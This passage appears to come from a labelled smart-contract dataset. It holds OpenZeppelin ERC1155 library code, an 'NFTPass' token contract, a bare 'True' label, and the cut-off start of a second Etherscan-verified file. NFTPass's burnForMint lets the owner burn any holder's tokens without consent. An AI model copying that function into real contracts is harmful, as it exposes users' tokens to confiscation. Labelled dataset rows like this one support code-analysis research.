function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC1155/IERC1155Receiver.sol
pragma solidity ^0.8.0;
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC1155/IERC1155.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(
address indexed operator,
address indexed from,
address indexed to,
uint256 id,
uint256 value
);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(
address indexed account,
address indexed operator,
bool approved
);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id)
external
view
returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator)
external
view
returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC1155/ERC1155.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id)
public
view
virtual
override
returns (uint256)
{
require(
account != address(0),
"ERC1155: balance query for the zero address"
);
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(
accounts.length == ids.length,
"ERC1155: accounts and ids length mismatch"
);
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(
operator,
from,
to,
_asSingletonArray(id),
_asSingletonArray(amount),
data
);
uint256 fromBalance = _balances[id][from];
require(
fromBalance >= amount,
"ERC1155: insufficient balance for transfer"
);
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(
ids.length == amounts.length,
"ERC1155: ids and amounts length mismatch"
);
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(
fromBalance >= amount,
"ERC1155: insufficient balance for transfer"
);
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(
operator,
from,
to,
ids,
amounts,
data
);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(
operator,
address(0),
to,
_asSingletonArray(id),
_asSingletonArray(amount),
data
);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(
operator,
address(0),
to,
id,
amount,
data
);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(
ids.length == amounts.length,
"ERC1155: ids and amounts length mismatch"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(
operator,
address(0),
to,
ids,
amounts,
data
);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(
operator,
from,
address(0),
_asSingletonArray(id),
_asSingletonArray(amount),
""
);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(
ids.length == amounts.length,
"ERC1155: ids and amounts length mismatch"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(
fromBalance >= amount,
"ERC1155: burn amount exceeds balance"
);
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try
IERC1155Receiver(to).onERC1155Received(
operator,
from,
id,
amount,
data
)
returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try
IERC1155Receiver(to).onERC1155BatchReceived(
operator,
from,
ids,
amounts,
data
)
returns (bytes4 response) {
if (
response != IERC1155Receiver.onERC1155BatchReceived.selector
) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element)
private
pure
returns (uint256[] memory)
{
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
pragma solidity ^0.8.0;
contract NFTPass is ERC1155, Ownable {
string public name;
string public symbol;
mapping(uint256 => string) public tokenURI;
constructor() ERC1155("") {
name = "NFT PASS";
symbol = "PASS";
}
function mint(
address _to,
uint256 _id,
uint256 _amount
) external onlyOwner {
_mint(_to, _id, _amount, "");
}
function mintBatch(
address _to,
uint256[] memory _ids,
uint256[] memory _amounts
) external onlyOwner {
_mintBatch(_to, _ids, _amounts, "");
}
function burn(uint256 _id, uint256 _amount) external {
_burn(msg.sender, _id, _amount);
}
function burnBatch(uint256[] memory _ids, uint256[] memory _amounts)
external
{
_burnBatch(msg.sender, _ids, _amounts);
}
function burnForMint(
address _from,
uint256[] memory _burnIds,
uint256[] memory _burnAmounts,
uint256[] memory _mintIds,
uint256[] memory _mintAmounts
) external onlyOwner {
_burnBatch(_from, _burnIds, _burnAmounts);
_mintBatch(_from, _mintIds, _mintAmounts, "");
}
function setURI(uint256 _id, string memory _uri) external onlyOwner {
tokenURI[_id] = _uri;
emit URI(_uri, _id);
}
function uri(uint256 _id) public view override returns (string memory) {
return tokenURI[_id];
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-06
*/
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
